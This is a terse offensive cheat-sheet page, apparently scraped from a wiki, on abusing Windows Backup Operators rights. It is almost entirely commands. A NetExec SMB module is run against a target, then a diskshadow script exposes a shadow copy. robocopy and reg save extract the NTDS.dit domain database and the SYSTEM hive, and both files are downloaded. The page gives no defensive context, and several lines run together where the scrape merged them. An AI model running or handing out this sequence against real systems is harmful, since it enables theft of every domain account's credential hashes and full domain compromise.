Backup Operators
Information
Privilege
Description
Exploitation
nxc smb <target-ip> -u <user> -p <pass> -M backup_operator$ cat diskshadow_script
set context persistent nowriters
add volume c: alias random
create
expose %random% z:
# Convert file into a Windows-compatible format
$ flip -m diskshadow_script
$ sudo unix2dos diskshadow_script # deprecated# Move within a writeable directory
cd c:\windows\temp
# Upload the diskshadow script
upload diskshadow_script
# Expose the shadow copy
diskshadow /s diskshadow_script
# Copy the ntds.dit database
robocopy /b z:\windows\ntds . ntds.dit
# Copy the system.hive file
reg save hklm\system c:\windows\temp\system.hive
# Download both files
download ntds.dit
download system.hiveLast updated